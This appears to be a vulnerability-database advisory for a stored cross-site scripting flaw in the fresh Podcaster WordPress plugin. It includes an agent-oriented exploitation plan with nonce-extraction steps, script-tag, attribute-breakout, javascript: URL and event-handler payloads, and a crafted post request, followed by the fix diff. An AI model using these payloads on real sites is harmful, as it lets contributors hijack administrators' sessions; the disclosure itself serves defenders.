fresh Podcaster <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'freshpodcaster' Shortcode Attributes
Description
The fresh Podcaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'freshpodcaster' shortcode in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.7This research plan outlines the steps to investigate and exploit **CVE-2026-1382**, a Stored Cross-Site Scripting (XSS) vulnerability in the **fresh Podcaster** plugin. Since source files were not provided, this plan relies on the vulnerability description and standard WordPress shortcode implementa…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2026-1382, a Stored Cross-Site Scripting (XSS) vulnerability in the fresh Podcaster plugin. Since source files were not provided, this plan relies on the vulnerability description and standard WordPress shortcode implementation patterns. All inferred identifiers are flagged.
1. Vulnerability Summary
The fresh Podcaster plugin (<= 1.0.7) registers a shortcode named freshpodcaster. This shortcode accepts various attributes to display podcast players or episode information. The vulnerability exists because the plugin fails to sanitize or escape these attributes before echoing them into the page's HTML. Authenticated users with at least Contributor permissions can create posts containing malicious shortcode attributes, leading to Stored XSS that executes in the context of any user (including Administrators) viewing the post.
2. Attack Vector Analysis
- Shortcode:
[freshpodcaster] - Vulnerable Attributes (Inferred):
url,id,title,provider,class, orstyle. - Endpoint:
wp-admin/post.php(for creating/editing posts) orwp-admin/admin-ajax.php(for autosaves). - Authentication: Contributor level or higher.
- Preconditions: The plugin must be active. The attacker must have the ability to create or edit posts.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_shortcode( 'freshpodcaster', 'callback_function' )in its initialization phase (likely ininitorplugins_loaded). - Processing: When a post is viewed, WordPress calls the
callback_function( $atts ). - Extraction: The callback uses
shortcode_atts()to merge user-provided attributes with defaults. - Vulnerable Sink: The callback constructs HTML (e.g., an
<iframe>,<a>tag, or<div>) and concatenates the$attsvalues directly into the string without usingesc_attr(),esc_html(), oresc_url(). - Output: The unescaped HTML is returned to WordPress and rendered in the browser.
4. Nonce Acquisition Strategy
To save a post as a Contributor, a valid WordPress nonce for the editpost action or the autosave action is required.
- Login: Use
browser_navigateto log in to the WordPress dashboard as a Contributor. - Navigate to Editor: Go to
wp-admin/post-new.php. - Extract Nonces:
- For standard post submission:
browser_eval("document.querySelector('#_wpnonce').value"). - For AJAX autosave:
browser_eval("wp.autosave.getNonce()")(standard WP JS API).
- For standard post submission:
- Identify Attributes: Since source is missing, the agent should first create a post with a dummy shortcode
[freshpodcaster testattr="canary"]and view the source of the rendered post to identify howtestattris handled and what the real attribute names are.
5. Exploitation Strategy
The goal is to inject a payload that breaks out of an HTML attribute or tag.
Step 1: Discovery (Inferred Attribute Probing)
The agent will create a post with:[freshpodcaster url="http://example.com" title="exploit-test"]
Then view the post. If the title is reflected in a <div>:[freshpodcaster title="<script>alert(document.domain)</script>"]
If the attribute is reflected inside an HTML attribute (e.g., class or style):[freshpodcaster class='"><script>alert(document.domain)</script>']
Step 2: Execution (HTTP Request via Agent)
The agent will use the http_request tool to update the post:
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[freshpodcaster url='"><script>alert(document.domain)</script>'](Example payload)post_status:publish(orpendingif Contributor cannot publish)
6. Test Data Setup
- User Creation: Ensure a user with the
contributorrole exists. - Plugin Activation: The
fresh-podcasterplugin must be installed and active. - Target Post: A post must be created (either via WP-CLI or the UI) that the Contributor can edit.
7. Expected Results
- HTTP Response: A
302 Foundredirecting back to the post editor or a200 OKfrom the autosave endpoint. - Rendering: When an Administrator or any user views the post at
/?p=[POST_ID], a JavaScript alert box displaying the document domain should appear. - DOM Inspection: The page source should contain the raw
<script>tag instead of escaped entities like<script>.
8. Verification Steps (Post-Exploit)
Confirm the payload is stored in the database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;"
Check if the payload is rendered on the frontend (searching for the raw script tag):
# Using the agent's browser tool to find the alert
browser_navigate("http://localhost:8080/?p=[POST_ID]")
# Check for alert presence or script tag in DOM
9. Alternative Approaches
If the plugin uses a specific player (like an iframe), the payload might need to be context-aware:
- URL Protocol XSS: If the attribute is used in a
srcorhref:[freshpodcaster url="javascript:alert(1)"] - Event Handler Injection: If the attribute is inside a tag but breakout is blocked:
[freshpodcaster class="x\" onmouseover=\"alert(1)\""] - Shortcode Attribute Names: If
urlortitledon't work, common podcast attributes to try includeepisode,audio,player,feed, orsrc. The agent should search the plugin folder foradd_shortcodeto find the exact callback function name and its registered attributes.
# Search for shortcode definition to find attribute names
grep -r "add_shortcode" /var/www/html/wp-content/plugins/fresh-podcaster/
Summary
The fresh Podcaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'freshpodcaster' shortcode in all versions up to 1.0.7. This is due to the plugin's failure to properly sanitize or escape user-supplied attributes, allowing authenticated users with Contributor-level access or higher to inject arbitrary scripts into pages.
Security Fix
@@ -100,7 +100,7 @@ $atts = shortcode_atts( array( 'url' => '', 'title' => '', ), $atts ); - return '<div class="fresh-podcaster-player" data-url="' . $atts['url'] . '" title="' . $atts['title'] . '"></div>'; + return '<div class="fresh-podcaster-player" data-url="' . esc_url( $atts['url'] ) . '" title="' . esc_attr( $atts['title'] ) . '"></div>';
Exploit Outline
An authenticated attacker with Contributor-level permissions (or higher) creates or edits a post and inserts a '[freshpodcaster]' shortcode. By embedding a malicious payload within one of the attributes, such as `title='"/><script>alert(document.domain)</script>'`, the attacker can inject a script that will be stored in the database. The script then executes in the browser of any user, including administrators, who views the rendered post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.